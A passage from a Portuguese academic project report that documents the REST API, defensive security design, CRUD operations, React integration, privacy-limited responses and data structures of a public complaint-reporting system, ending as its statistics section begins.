O mesmo raciocínio separa **POST** `/api/fluxo/fila/atender` de um hipotético **GET**. Atender consome o topo da fila e muda o estado do caso. O RFC define como *safe* os métodos cuja semântica é essencialmente de leitura, e registra que essa garantia é o que permite que processos automatizados, como robôs de indexação e mecanismos de *prefetch*, os acionem livremente (IETF, 2014a, seção 4.2.1). Expor “atender” como **GET** deixaria um navegador consumir a fila de atendimento por acidente.

DELETE `/api/denuncias/{id}` devolve **204 No Content** e exige o parâmetro `motivo`. A exclusão é lógica, com anonimização, e a seção 5.2.2 detalha o porquê.

POST é usado para criação e devolve **201 Created** com o cabeçalho `Location` apontando para o recurso criado (IETF, 2022, seção 15.3.2), que é o comportamento que a especificação define e que muitas APIs deixam de cumprir.

3.1.4 Códigos de status: o catálogo completo

Situação	Código	Referência normativa e tratamento
Recurso criado	201	RFC 9110, 15.3.2. Com cabeçalho <code>Location</code>
Operação bem-sucedida sem corpo	204	RFC 9110, 15.3.5. Exclusão de denúncia, membro e evidência
Corpo inválido (<code>@Valid</code>)	400	<code>detalhes</code> mapeia campo para mensagem
Parâmetro de rota ou de consulta inválido	400	idem, via <code>ConstraintViolationException</code>
JSON malformado	400	mensagem genérica; o trecho recebido não é devolvido
Sem token, ou token inválido	401	RFC 9110, 15.5.2. Falta credencial de autenticação válida
Token válido, perfil insuficiente	403	RFC 9110, 15.5.4. Mensagem genérica, sem revelar existência
Recurso inexistente	404	corpo padronizado

Situação	Código	Referência normativa e tratamento
Conflito com o estado atual	409	Tratador declarado no <code>GlobalExceptionHandler</code> e reservado para conflito de estado; nenhuma regra de negócio o dispara na versão atual
Requisição bem formada que viola regra de domínio	422	por exemplo, status de destino inválido
Arquivo acima de 5 MB	413	RFC 9110, 15.5.14, <i>Content Too Large</i>
Formato recusado pela assinatura do conteúdo	415	RFC 9110, 15.5.16
Limite de requisições por origem	429	RFC 6585, seção 4
Falha não prevista	500	corpo sem detalhe interno, com código de rastreio

Quatro decisões se escondem nesta tabela, e todas foram tomadas nesta fase.

A distinção entre 401 e 403 foi corrigida. Antes, uma requisição sem token recebia 403. É semanticamente errado: o 401 é a resposta para quando “the request has not been applied because it lacks valid authentication credentials” (IETF, 2014b, seção 3.1), enquanto o 403 é a recusa de quem já se identificou. A diferença não é acadêmica, porque o front-end usa exatamente essa distinção para decidir entre pedir login novamente e informar falta de permissão.

O 403 não diz se o recurso existe. Responder 403 para um caso existente e 404 para um inexistente permitiria mapear a base por tentativa e erro, sem nunca conseguir ler nada. Seria um oráculo de existência entregue de graça a qualquer pessoa autenticada, e é a forma mais silenciosa do risco **API1:2023 Broken Object Level Authorization** (OWASP, 2023).

413 e 415 não foram substituídos por um 422 genérico. Arquivo grande e formato inválido caberiam em “entidade não processável”, e essa é a saída fácil. Mas um cliente que recebe **413** sabe que deve reduzir o arquivo e tentar de novo, enquanto 422 sugere que o pedido está conceitualmente errado. Código de status é a parte da API que o cliente lê sem abrir a documentação, e desperdiçá-lo é jogar fora comunicação de graça. Esses dois códigos foram implementados nesta fase por meio de duas exceções dedicadas, `ArquivoGrandeDemaisException` e `FormatoNaoSuportadoException`, precisamente porque os critérios de aceitação da US28 os prometiam e o código ainda devolvia 422. Vale registrar que o RFC 9110 renomeou o 413 de *Payload Too Large* para **Content Too Large**, e é essa a denominação usada aqui.

O 500 parou de vaziar `ex.getMessage()`. Mensagens de exceção carregam nome de tabela, de coluna, caminho de arquivo e trecho de SQL, que é material de reconhecimento para quem sonda a aplicação.

3.1.5 Tratamento de erros: um corpo só para toda a API

Toda falha sai pelo mesmo formato, produzido por um único `@RestControllerAdvice`:

```
{
  "timestamp": "2026-08-09T17:24:21.482",
  "status": 400,
  "erro": "Bad Request",
  "mensagem": "Dados invalidos",
  "detalhes": {
    "descricao": "Descreva o ocorrido com pelo menos 20 caracteres",
    "tipo": "Tipo de denuncia invalido"
  }
}
```

Um corpo único tem uma consequência prática para quem consome a API: o cliente escreve **um** tratador de erro, e não um por endpoint. O campo `detalhes` só aparece quando há erro campo a campo, e é exatamente ele que o formulário React usa para posicionar cada mensagem embaixo do campo correspondente (seção 3.3.1).

No caso do 500, o corpo é reduzido ao mínimo e ganha um identificador:

```
{ "status": 500,  
  "mensagem": "Erro interno. Informe o código de rastreamento ao suporte.",  
  "rastreamento": "a3f91c47" }
```

O suporte encontra o erro completo procurando `a3f91c47` no log do servidor. Quem sonda a aplicação recebe oito caracteres aleatórios. É a fronteira entre log técnico e resposta de API, e ela reaparece na seção 5.5.

3.1.6 Segurança da API

A segurança da API é tratada em profundidade na Parte 5. Aqui ficam registrados os mecanismos que pertencem ao desenho da própria interface HTTP, com o risco correspondente do catálogo OWASP (2023) quando aplicável:

Mecanismo	Onde vive	O que garante	Risco endereçado
Autenticação por JWT assinado (HMAC-SHA)	<code>JwtService</code> , <code>JwtAuthFilter</code>	Identidade verificável sem estado de sessão	API2 Broken Authentication
Autorização por rota	<code>SecurityConfig</code>	Perfis distintos alcançam conjuntos distintos de rotas	API5 Broken Function Level Authorization
Autorização por campo	<code>DenunciaMapper</code> , <code>MascaraUtil</code>	O mesmo endpoint devolve menos dado para quem pode ver menos	API3 Broken Object Property Level Authorization
CORS por lista explícita de origens	<code>SecurityConfig</code>	Nenhum site de terceiros dispara requisição autenticada	API8 Security Misconfiguration
Limite de requisições por origem	<code>RateLimitFilter</code>	5 denúncias e 20 logins por minuto, por IP, com 429	API4 Unrestricted Resource Consumption
Sessão <i>stateless</i>	<code>SecurityConfig</code>	Não há sessão para sequestrar	API2
Senhas com BCrypt	<code>SecurityConfig</code>	Texto puro nunca é persistido	API2
Auditoria das recusas de rota	<code>RespostasDeSeguranca</code>	O 403 emitido pelo filtro também vira registro	API5
Cabeçalhos de resposta em download	<code>EvidenciaController</code>	<code>Content-Disposition: attachment</code> e <code>X-Content-Type-Options: nosniff</code>	API8
Inventário de endpoints publicado	OpenAPI 3	Nenhuma rota esquecida fora do contrato	API9 Improper Inventory Management

O `RateLimitFilter` roda **antes** da autenticação, o que é a ordem correta: força bruta de senha precisa ser barrada antes de chegar à verificação da senha.

3.1.7 Paginação, filtros e contrato próprio

A listagem devolve um envelope próprio, e não o `Page` do Spring Data:

```
{ "conteudo": [ ... ], "pagina": 0, "tamanho": 20,
  "totalItens": 137, "totalPaginas": 7, "temProxima": true }
```

O `Page` do Spring serializa detalhes internos (`pageable`, `sort`, `unpaged`) que mudam entre versões da biblioteca. Publicá-lo transformaria uma atualização de dependência em quebra de contrato para quem consome a API.

O envelope traz `totalItens`, `totalPaginas` e `temProxima`, que é o que um cliente precisa para saber se deve pedir a página seguinte sem tentar e falhar. A eficiência da consulta em si, incluindo filtros e índices, está na seção 3.1.8.

3.1.8 Consulta eficiente de dados

O enunciado da fase cita, entre as capacidades esperadas do sistema consolidado, **consultar dados de forma eficiente**. A exigência não é teórica neste domínio: o canal federal equivalente registrou 657,2 mil denúncias em um único ano (MDHC, 2025), e a plataforma de ouvidoria do governo federal acumulava mais de seis milhões de manifestações em julho de 2023 (CGU, [s.d.]a). Cinco decisões respondem a isso, e todas foram tomadas nesta fase.

O filtro é do banco, não do Java. Status, tipo e UF viram parâmetros de consulta no `DenunciaRepository`. A alternativa comum, carregar a tabela e filtrar com `stream()`, transfere para a memória da aplicação um trabalho que o banco faz com índice. Com 125 registros a diferença é invisível; com 125 mil, é a diferença entre uma consulta e uma parada do serviço.

A paginação também é do banco. O `Pageable` chega até a consulta, de modo que o banco devolve 20 linhas, e não 125 mil linhas para a aplicação descartar 124.980.

Treze índices no modelo físico, escolhidos pelas colunas que a aplicação realmente filtra e ordena: `status`, `tipo`, `uf`, `criado_em`, `protocolo`, e os pares usados pela trilha de auditoria. Índice em coluna que ninguém consulta é custo de escrita sem retorno de leitura, e por isso eles não foram criados por precaução.

A linha do tempo é carregada junto, e de propósito. O histórico usa `fetch = FetchType.EAGER` com `@OrderColumn`, porque toda tela que mostra uma denúncia mostra também sua linha do tempo. Deixá-la preguiçosa produziria o problema clássico de uma consulta por caso ao desenhar uma lista.

O agregado é calculado uma vez. O relatório da Parte 4 percorre a base uma única vez por requisição, monta todos os recortes na mesma passagem e delega o cálculo a um serviço puro. Não há uma consulta por gráfico.

Um limite foi imposto de propósito: o tamanho máximo de página é **100 itens**, decidido no servidor. Ele existe para que nenhum cliente, por engano ou por má intenção, peça a base inteira numa requisição, o que é a recomendação da OWASP contra consumo irrestrito de recursos (OWASP, 2023, API4). Esse limite produziu um defeito real durante a integração, descrito na seção 3.3.2: o front-end pedia 500, recebia 100 sem qualquer aviso, e o painel exibia 100 de 126 casos sem que ninguém percebesse (126 é o total daquele momento: as 125 denúncias da carga mais uma registrada durante o próprio teste). A correção foi paginar do lado do cliente até esgotar as páginas.

3.1.9 Documentação executável (OpenAPI 3 e Swagger UI)

`/swagger-ui.html` não é uma listagem estática. O botão **Authorize** aceita o token emitido por `/api/auth/login`, e a partir daí qualquer rota protegida pode ser executada pelo navegador. Cada

operação declara resumo, descrição, códigos de resposta possíveis e exemplos de *payload*, anotados diretamente no controlador, o que mantém a documentação junto do código que ela descreve em vez de num arquivo que envelhece à parte.

É também o caminho mais rápido para verificar as afirmações deste documento sem instalar cliente HTTP nenhum. Autenticar como `atendente@protege.gov.br` e chamar `GET /api/auditoria` devolve 403 na própria tela, e autenticar como `auditor@protege.gov.br` e repetir a chamada devolve 200 com a trilha, incluindo o registro da tentativa anterior.

3.2 Requisito (b): CRUD funcional nos recursos principais

O sistema tem três recursos com ciclo de vida completo. Todos foram exercitados contra a aplicação em execução, e o resultado está no Anexo D.

3.2.1 CRUD de Denúncia

Operação	Método e rota	Código	Observação
Create	POST /api/denuncias	201	Público. Devolve <code>Location</code> , protocolo e score calculado no servidor
Read (lista)	GET /api/denuncias	200	Paginado, com filtros. DTO sem relato nem endereço
Read (item)	GET /api/denuncias/{id}	200	DTO de detalhe. Gera <code>CONSULTA_SENSIVEL</code>
Read (público)	GET /api/denuncias/protocolo/{p}	200	DTO público, sem relato, para o cidadão
Update (total)	PUT /api/denuncias/{id}	200	Idempotente. Gera <code>ALTERACAO_DADOS</code>
Update (status)	PATCH /api/denuncias/{id}/status	200	Acrescenta evento à linha do tempo. Gera <code>ALTERACAO_STATUS</code>
Update (responsável)	PATCH /api/denuncias/{id}/responsavel	200	Gera <code>ATRIBUICAO</code>
Delete	DELETE /api/denuncias/{id}?motivo=	204	Exclusão lógica com anonimização. Gera <code>EXCLUSAO</code>

A exclusão merece nota, porque foge do CRUD ingênuo: ela **não remove a linha**. Destrói o conteúdo sensível (relato, endereço e resumo da IA passam a `NULL`) e preserva a existência do registro, com motivo e data. A seção 5.2.2 apresenta o conflito entre o direito de eliminação e o dever de rastreabilidade que essa escolha resolve.

3.2.2 CRUD de Equipe

Operação	Método e rota	Código	Perfil
Create	POST /api/equipe	201 e <code>Location</code>	GESTOR, ADMIN
Read (lista)	GET /api/equipe	200	autenticado
Read (item)	GET /api/equipe/{id}	200 ou 404	autenticado

Operação	Método e rota	Código	Perfil
Update	PUT /api/equipe/{id}	200	GESTOR, ADMIN
Delete	DELETE /api/equipe/{id}	204	GESTOR, ADMIN

É o recurso onde os cinco verbos aparecem na forma mais canônica, e por isso ele é o usado na demonstração do vídeo para mostrar o ciclo completo, incluindo o **403** que o perfil ATENDENTE recebe ao tentar cadastrar um membro.

Toda alteração aqui gera **ALTERACAO_EQUIPE** na trilha, porque mudar quem pode receber casos é uma decisão administrativa com consequência sobre o acesso a dado pessoal.

3.2.3 CRUD de Evidência

Operação	Método e rota	Código	Observação
Create	POST /api/denuncias/protocolo/{p}/evidencias	201	Público, multipart/form-data
Read (lista)	GET /api/denuncias/{id}/evidencias	200	Apenas metadados: nome, tipo, tamanho, hash
Read (binário)	GET /api/evidencias/{id}/arquivo	200	Gera CONSULTA_SENSIVEL . Hash reconferido
Delete	DELETE /api/evidencias/{id}?motivo=	204	GESTOR e ADMIN. Gera EXCLUSAO

Não existe operação de atualização de evidência, e a ausência é deliberada. Substituir o conteúdo de um anexo mantendo o mesmo identificador destruiria o valor probatório do registro: o hash gravado deixaria de descrever o que foi recebido. Corrigir um envio indevido se faz removendo com motivo e enviando outro arquivo, o que deixa os dois eventos na trilha.

O fluxo de recebimento executa as validações em ordem deliberada, da mais barata para a mais cara:

1. **Tamanho** (5 MB), porque rejeitar cedo evita ler o arquivo inteiro.
2. **Quantidade** por denúncia (10), uma consulta simples ao banco.
3. **Assinatura do conteúdo**, que exige ler os primeiros bytes.
4. **Gravação** sob UUID, fora da pasta pública, com cálculo do SHA-256.

Inverter essa ordem faria o servidor gastar disco e CPU antes de descobrir que o arquivo seria recusado de qualquer forma.

Um detalhe de configuração sustenta esse desenho: o limite de upload do contêiner é **maior** que a regra de negócio, `spring.servlet.multipart.max-file-size=6MB` contra os 5 MB do `EvidenciaService`. A folga é deliberada. Se os dois valores fossem iguais, o Spring recusaria o arquivo antes de a aplicação vê-lo, e o cliente receberia a exceção crua do contêiner em vez da mensagem de 413 do `GlobalExceptionHandler`. Com a folga, quem responde é sempre a regra de negócio, e o tratador de `MaxUploadSizeExceededException` fica como rede de proteção para envios muito acima do teto.

3.2.4 Evidência de execução do CRUD

O Anexo D registra a bateria de verificação executada contra a aplicação em funcionamento, com 81 testes automatizados verdes e as verificações manuais de integração. Os pontos diretamente ligados ao CRUD:

- criação de denúncia pelo portal, com o protocolo devolvido pelo servidor aparecendo no Kanban do painel;

- alteração de status pelo Kanban, com o evento correspondente na linha do tempo do caso e o registro na trilha;
- atribuição de responsável, com registro;
- exclusão pelo GESTOR, com o campo de relato lido como vazio depois da operação;
- tentativa de exclusão pelo ATENDENTE, respondida com 403 e registrada;
- envio, listagem, download e remoção de evidência, com o download gerando [CONSULTA_SENSIVEL](#).

3.3 Requisito (c): integração da API ao front-end

O enunciado pede a demonstração do consumo dos endpoints por meio da interface em React. O projeto atende a isso e vai além: são **duas** implementações de front-end conversando com a mesma API, o que torna a integração comparável e evidencia que o contrato é o mesmo para as duas.

3.3.1 formulario-react.html: a interface React

Componente funcional com `useState`, React 18 servido por CDN com Babel Standalone, sem etapa de *build*. A escolha não é preguiça de ferramenta: sem etapa de compilação, o projeto continua executável logo após descompactar o ZIP, que é uma exigência explícita da entrega.

```
const resposta = await fetch(`${API}/denuncias`, {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify(dados),
});
if (resposta.status === 429) { /* limite de envios por origem */ }
if (!resposta.ok) {
  const erro = await resposta.json();
  setErros(erro.detalhes || {}); // 400 vira erro campo a campo, sob cada input
}
```

O tratamento do campo `detalhes` do erro 400 é o que fecha o ciclo entre as duas pontas: o Bean Validation do servidor decide o que é inválido, e a mensagem aparece embaixo do campo correspondente no React. **A validação não está duplicada no cliente.** O cliente exibe a decisão do servidor, o que elimina a classe de defeito em que as duas validações divergem e o usuário recebe uma mensagem que não corresponde ao motivo real da recusa.

O componente exercita, sozinho, cinco comportamentos da API:

Comportamento	Como aparece na tela
201 Created	Protocolo e score devolvidos pelo servidor
400 campo a campo	Mensagem sob o campo inválido
429	Aviso de limite de envios por origem
Indisponibilidade da API	Oferta de registro local, sem perder o texto digitado
Fonte única da verdade	O score exibido é o do <code>ScoreService</code> , não um cálculo em JavaScript

Os estados e municípios vêm da API pública do IBGE, com 35 unidades carregadas na montagem do componente, o que demonstra o consumo de uma API externa além da própria.

3.3.2 index.html: o portal e o painel em JavaScript

O portal e o painel eram, até o fim desta fase, a aplicação da Fase 4: gravavam e liam do `localStorage`. A API já alimentava as telas novas (fila, pilha, auditoria, estatística), mas o fluxo principal não passava por ela.

O resultado era uma contradição dentro da **mesma tela**: a aba de estatística descrevia 125 denúncias do banco enquanto o Kanban ao lado mostrava as que existiam naquele navegador.

A correção foi feita **hidratando, e não reescrevendo**. O módulo `sincronia.js` traz os dados da API para o mesmo lugar de onde as telas já liam:

```
const lista = pagina.conteudo.map(paraTela);
window.denuncias = lista;
localStorage.setItem('denuncias', JSON.stringify(lista));
```

O Kanban, o backlog e a tabela de status não foram tocados, e passaram a ver dados do banco. Menos código alterado significa menos regressão possível. O esforço concentrou-se nas quatro operações de **escrita**, que agora vão ao servidor antes de tocar a tela: registrar denúncia, mudar status, atribuir responsável e anexar evidência. O caminho inverso, gravar local e “sincronizar depois”, produziria telas mostrando algo que o banco nunca aceitou.

Três defeitos apareceram nesse trabalho e valem registro, porque todos são do mesmo tipo: comportamentos que só se manifestam quando as camadas se encontram.

A hidratação apagava campos que só existem no cliente. Código de acompanhamento do anonimato graduado, mensagens do elo de mão dupla e nível de anonimato não têm coluna na API, e eram sobrescritos na primeira sincronização. A correção foi mesclar, preservando a lista `SO_DO_CLIENTE`.

O painel mostrava 100 de 126 casos, sendo 126 o total daquele momento: as 125 da carga mais uma criada no teste. O cliente pedia 500 itens por página; o servidor limita a 100 e não reclama. A correção foi paginar em laço até esgotar as páginas, com teto de proteção.

A denúncia de emergência desaparecia. O fluxo de emergência gravava direto no armazenamento local e era eliminado na sincronização seguinte. Passou a usar `Backend.criarDenuncia` quando há API.

Um detalhe do mapeamento merece explicação, porque à primeira vista parece defeito: os campos `desc` e `endereco` chegam vazios na listagem. Não é omissão, é a decisão de privacidade da seção 3.3.3 aparecendo na interface. A listagem da API não devolve relato nem endereço; esse conteúdo só existe no detalhe, uma requisição por vez, e essa leitura é auditada.

3.3.3 A mesma denúncia, três respostas diferentes

O ponto mais importante do desenho desta API não está nas rotas, está nos DTOs. Um mesmo registro é serializado de três formas, conforme quem pergunta:

DTO	Usado em	Campos	O que não carrega
<code>DenunciaPublicaResponse</code>	consulta por protocolo	8	relato, endereço, análise de IA, responsável
<code>DenunciaResumoResponse</code>	listagem e Kanban	11	relato e endereço
<code>DenunciaDetalheResponse</code>	detalhe do caso	20	endereço, se o perfil não puder vê-lo

A listagem não trafega o relato **de propósito**. Uma página de Kanban carrega dezenas de casos de uma vez, e não há justificativa para transportar o relato completo de todos eles apenas para desenhar retângulos numa tela. É a aplicação direta do princípio da necessidade da LGPD, que limita o tratamento “ao mínimo necessário para a realização de suas finalidades, com abrangência dos dados pertinentes, proporcionais e não excessivos” (BRASIL, 2018a, art. 6.º, III), e a contramedida que a OWASP prescreve para **API3:2023**, cuja causa-raiz é descrita como a falta de validação de autorização no nível da propriedade do objeto (OWASP, 2023).

A consequência é direta sobre a auditoria: se a listagem devolvesse o relato, a ação `CONSULTA_SENSIVEL` seria teatro, porque bastaria abrir o Kanban para ler cem denúncias sem que uma linha fosse registrada.

O `DenunciaDetalheResponse` ainda varia conforme o perfil:

```
public static DenunciaDetalheResponse detalhe(Denuncia d, boolean
podeVerIdentidade) {
    return new DenunciaDetalheResponse(
        ...,
        podeVerIdentidade ? d.getEndereco() :
        MascaraUtil.endereco(d.getEndereco()),
        ...);
}
```

Um ATENDENTE recebe "[endereco protegido]" no lugar de "Rua Goiás, 800". Não é a interface que esconde: é o servidor que não envia.

3.3.4 Mapa de tela para endpoint

Tela	Endpoints exercitados
Formulário (HTML e React)	POST /api/denuncias, com 201, 400 campo a campo e 429
Consulta por protocolo	GET /api/denuncias/protocolo/{p}
Kanban	GET /api/denuncias, PATCH .../status, PATCH .../responsavel
Ficha do caso	GET /api/denuncias/{id}, PUT, DELETE
Equipe	os cinco verbos de /api/equipe, com 403 para perfil sem permissão
Fila e pilha	/api/fluxo/*, as estruturas da Parte 4 visíveis na tela
Trilha de auditoria	/api/auditoria*, incluindo o 403 renderizado como recusa explícita
Relatório estatístico	GET /api/stats/analitico alimentando seis gráficos
Anexos (ícone de clipe no card)	GET /evidencias, GET /arquivo com download auditado, DELETE com motivo
Exportar CSV	GET /api/exportacao/denuncias, com 403 para perfil sem permissão
Indicadores do topo	GET /api/stats
Login e troca de perfil	POST /api/auth/login

A aba de auditoria merece nota. Ela permanece **visível** para perfis que não têm acesso a ela. Não é descuido: é ao clicar e receber **Acesso negado** que a segregação fica demonstrada, e a própria tentativa recusada aparece registrada na trilha depois, quando um AUDITOR a consulta. Esconder o botão pareceria segurança sem sê-la, porque o botão escondido continuaria acessível pelo console do navegador.

3.3.5 Modo local e o dever de declarar a origem do dado

O módulo `backend.js` concentra toda a conversa com a API: login JWT, cabeçalhos de autorização, tratamento de 401 com reautenticação e um *fallback* para `localStorage` quando a API está fora do ar.

Esse *fallback* levantou um problema de honestidade. O painel ficava idêntico nos dois modos, e um gestor tomando decisão com base naquela tela não tinha como saber se os números vinham do banco ou apenas daquele navegador. A resposta foi o indicador de conexão (`conexao.js`), uma etiqueta na barra lateral que declara `API conectada` ou `modo local` e é clicável para verificar de novo.

Duas exceções ao *fallback*, ambas deliberadas:

O relatório estatístico não tem modo local. Média e desvio calculados sobre as poucas denúncias guardadas num navegador não descreveriam o canal, e a tela ficaria visualmente indistinguível de uma que descreve. Um gráfico bonito com número errado é pior que um aviso de indisponibilidade.

O login não tem modo local. Sem servidor não existe autenticação. Liberar o painel ali seria repor exatamente a credencial fixa que esta fase acabou de remover do código.

PARTE 4: Manipulação Avançada de Dados e Criação de Relatórios

O que o enunciado pede

(a) “Atualize e explique o uso de estruturas de dados avançadas (listas, pilhas, filas) presentes na lógica do sistema ou na API.” (b) “Gere e analise relatórios estatísticos (gráficos, tabelas ou dados relevantes), explorando os conceitos do capítulo de estatística.” (c) “Analise os dados do projeto com cálculos e interpretações estatísticas aplicadas, apresentando gráficos e sugestões para o negócio.”

A seção 4.1 responde ao item (a), com uma subseção para cada uma das três estruturas citadas, mostrando tanto o uso na lógica do sistema quanto a exposição delas na API (`/api/fluxo/*`). A seção 4.2 responde ao item (b), descrevendo a base, o método de cálculo e os seis gráficos do painel. A seção 4.3 responde ao item (c), com oito recomendações de negócio, cada uma amarrada a um número desta análise.

4.1 Requisito (a): três estruturas, três problemas diferentes

O sistema usa lista, fila de prioridade e pilha. Nenhuma delas foi escolhida para cumprir um requisito de disciplina: cada uma resolve um problema que apareceu no fluxo de atendimento e que as outras duas resolveriam pior.

4.1.1 Lista: a linha do tempo da denúncia

A cada mudança de status, um evento é acrescentado ao histórico do caso. A estrutura precisa preservar **ordem** e ser **somente de acréscimo**. Num canal público, poder reordenar ou apagar um passo da linha do tempo destruiria a rastreabilidade que é a razão de a linha do tempo existir.

```
@ElementCollection(fetch = FetchType.EAGER)
@CollectionTable(name = "denuncia_historico",
                 joinColumns = @JoinColumn(name = "denuncia_id"))
@OrderColumn(name = "ordem")
private List<HistoricoItem> historico = new ArrayList<>();
```

O `@OrderColumn` é o detalhe que importa. Sem ele, o JPA carregaria a coleção na ordem que o banco devolvesse, e a linha do tempo exibida ao cidadão poderia mostrar “concluída” antes de “recebida”. Com ele, a posição vira uma coluna persistida: a ordem passa a ser um dado, e não uma coincidência de leitura. No modelo físico isso corresponde à única chave primária composta do projeto, (`denuncia_id`, `ordem`), descrita no Anexo A.3.

Operação	Custo	Uso no sistema
acrescentar evento	$O(1)$ amortizado	toda mudança de status
percorrer para exibir	$O(n)$	consulta por protocolo
acesso por posição	$O(1)$	recuperar o passo anterior, no desfazer

4.1.2 Fila de prioridade: a ordem de atendimento

Atender por ordem de chegada seria injusto e perigoso: uma denúncia de violência em curso registrada agora não pode esperar atrás de uma reclamação administrativa de três dias atrás. A fila de prioridade mantém sempre no topo o caso mais grave, sem reordenar toda a coleção a cada inserção.

```
public static Comparator<Denuncia> ordemDeAtendimento() {
    return Comparator
        .<Denuncia>comparingInt(d -> peso(d.getUrgenciaIa())) // CRITICA >
        ALTA > MEDIA > BAIXA
        .thenComparing(Denuncia::getScore, Comparator.reverseOrder())
        .thenComparing(Denuncia::getCriadoEm,
            Comparator.nullsLast(Comparator.naturalOrder()));
}
```

O terceiro critério existe por um motivo específico e bem documentado na literatura de sistemas operacionais: **evitar inanição**. Escalonamento puramente por prioridade tem um problema conhecido, o de que processos de baixa prioridade podem nunca executar, e a solução clássica é o **envelhecimento**, isto é, aumentar gradualmente a prioridade de quem espera há muito tempo (WANG, 2016). Aqui a antiguidade cumpre esse papel: garante que todo caso, mais cedo ou mais tarde, chega ao topo. A seção 4.2.8 mostra que este é exatamente o problema que a base revela.

A implementação é `java.util.PriorityQueue`, descrita na documentação oficial como “an unbounded priority queue based on a priority heap”, com custo $O(\log n)$ para enfileirar e desenfileirar e tempo constante para os métodos de consulta como `peek` (ORACLE, 2023a):

Operação	Custo	Por que importa
construir com n casos	$O(n \log n)$	uma vez por consulta à fila
consultar o próximo, <code>peek()</code>	$O(1)$	o painel mostra o topo sem custo
remover o próximo, <code>poll()</code>	$O(\log n)$	ação “atender próximo”
inserir um caso, <code>offer()</code>	$O(\log n)$	denúncia nova entra na posição certa

Ordenar a lista inteira a cada consulta custaria $O(n \log n)$ toda vez. O heap paga esse custo uma única vez e depois entrega o topo em tempo constante.

Um cuidado que virou teste: o comparador precisa ser **consistente**, isto é, transitivo e antissimétrico. Um comparador inconsistente faz o `PriorityQueue` devolver elementos fora de ordem sem lançar exceção, o que é o pior tipo de defeito, porque não se manifesta como erro. O `FilaAtendimentoServiceTest` verifica a consistência com 200 elementos gerados, além dos dois critérios de desempate isoladamente.

4.1.3 Pilha: o histórico reversível

Desfazer é, por definição, uma operação LIFO: a próxima ação a ser revertida é sempre a mais recente. Uma lista permitiria remover qualquer elemento, o que abriria espaço para desfazer uma ação do meio do histórico e deixar o caso num estado que **nunca existiu de verdade**. A pilha torna esse erro impossível por construção.

```
private final Map<String, Deque<AcaoReversivel>> pilhas = new
    ConcurrentHashMap<>();
public static final int LIMITE = 20;
```

Três decisões merecem registro.

ArrayDeque, e não Stack. A escolha não é preferência de estilo: a própria documentação da Oracle, na página da classe `Stack`, afirma que o conjunto de operações LIFO é fornecido de forma mais completa e consistente pela interface `Deque` e suas implementações, “which should be used in preference to this class” (ORACLE, 2023b). A documentação do `ArrayDeque` acrescenta que a classe “is likely to be faster than `Stack` when used as a stack” e que a maioria de suas operações roda em tempo constante amortizado (ORACLE, 2023c). A razão histórica é que `Stack` herda de `Vector` e sincroniza todos os métodos, pagando custo de trava mesmo em uso de uma única linha de execução.

Uma pilha por servidor. Um atendente nunca desfaz a ação de outro. A chave do mapa é o e-mail do usuário autenticado, e o `PilhaAcoesServiceTest` verifica esse isolamento explicitamente.

Profundidade limitada a 20. Sem limite, uma sessão longa faria a pilha crescer indefinidamente em memória. Ao estourar, a ação mais antiga é descartada da base. O que se perde é a capacidade de desfazer algo de vinte passos atrás, que ninguém faz.

E a decisão mais importante: **desfazer não reescreve a linha do tempo.**

```
private void aplicarStatus(Denuncia d, String status) {
    d.setStatus(status);
    d.getHistorico().add(novoPasso(status)); // acrescenta; nunca apaga
    d.setConcluidaEm("concluida".equals(status) ? LocalDateTime.now() : null);
}
```

O passo errado permanece no histórico, e o retorno ao status anterior entra como evento novo. Num sistema público, poder apagar a própria pegada anularia a rastreabilidade: o desfazer existe para corrigir o estado do caso, não para esconder que houve um erro.

Complexidade	Custo
empilhar, <code>push()</code>	$O(1)$ amortizado
desempilhar, <code>pop()</code>	$O(1)$
consultar o topo	$O(1)$

4.1.4 Quadro comparativo

Estrutura	Implementação	Problema que resolve	Por que as outras não serviriam
Lista ordenada	<code>List</code> com <code>@OrderColumn</code>	Linha do tempo do caso	Um conjunto não tem ordem; uma pilha só daria acesso ao topo
Fila de prioridade	<code>PriorityQueue</code> (heap binário)	Ordem de atendimento por gravidade	Uma fila simples atenderia por chegada, o que é injusto e perigoso
Pilha	<code>ArrayDeque</code> (LIFO)	Desfazer a última ação	Uma lista permitiria desfazer do meio, criando estado inexistente

4.2 Requisito (b): relatórios estatísticos com gráficos

4.2.1 A base analisada e o método

De onde vêm os números. A base tem **125 denúncias**: 120 geradas deterministicamente a partir da semente **561601** (o RM do autor) e 5 de demonstração, cobrindo de 02/03/2026 a 04/07/2026. Dessas, **76 já foram concluídas** e alimentam a análise de tempo; **49 continuam em aberto**.

Não existem duas massas de dados. O `data.sql` do backend e o `database/02_dml_carga.sql` carregam exatamente as mesmas 125 linhas e os mesmos 201 eventos de histórico, uma em sintaxe H2 e outra em sintaxe Oracle. Quem avaliar pode rodar `03_consultas.sql` e encontrar na tela do painel o mesmo número que este documento afirma. Ser determinística significa que reexecutar o gerador produz o mesmo conjunto: nenhum número aqui depende de sorte de execução.

Onde a estatística é calculada. Toda no servidor, na classe `EstatisticaService`, que não conhece denúncia, banco nem HTTP: recebe uma lista de números e devolve as medidas. O isolamento é deliberado,

porque **estatística errada é o tipo de defeito que não quebra o sistema, ele só faz o sistema mentir**. Manter o cálculo separado permite testá-lo contra valores conferidos à mão, sem subir contexto de Spring nem popular banco. São 25 testes dedicados a essa frente, 14 no [EstatisticaServiceTest](#) e 11 no [RelatorioServiceTest](#), com os valores esperados calculados manualmente e documentados no cabeçalho de cada método.

O front-end não recalcula nada. Média e desvio chegam prontos da API pelo mesmo motivo que o score saiu do navegador nesta fase: dois lugares calculando a mesma coisa são uma divergência esperando para acontecer.

Convenções adotadas, e por quê. Cada escolha abaixo segue uma referência, e não uma preferência.

Decisão	Escolha	Justificativa e fonte
Variância	Amostral , divisor $n - 1$	As 125 denúncias são uma amostra do que o canal receberia em operação real, não a população de todas as denúncias possíveis. O divisor $n - 1$ é o que torna o estimador não viesado da variância populacional (PENN STATE, [s.d.])a)
Quartis	Interpolação linear , igual ao PERCENTILE_CONT do Oracle	Existem várias convenções de quartil e elas divergem na segunda casa. A função do banco assume distribuição contínua e devolve valor interpolado entre os valores ordenados (ORACLE, [s.d.]). Adotar a mesma convenção garante que o SQL e o painel devolvam o mesmo número
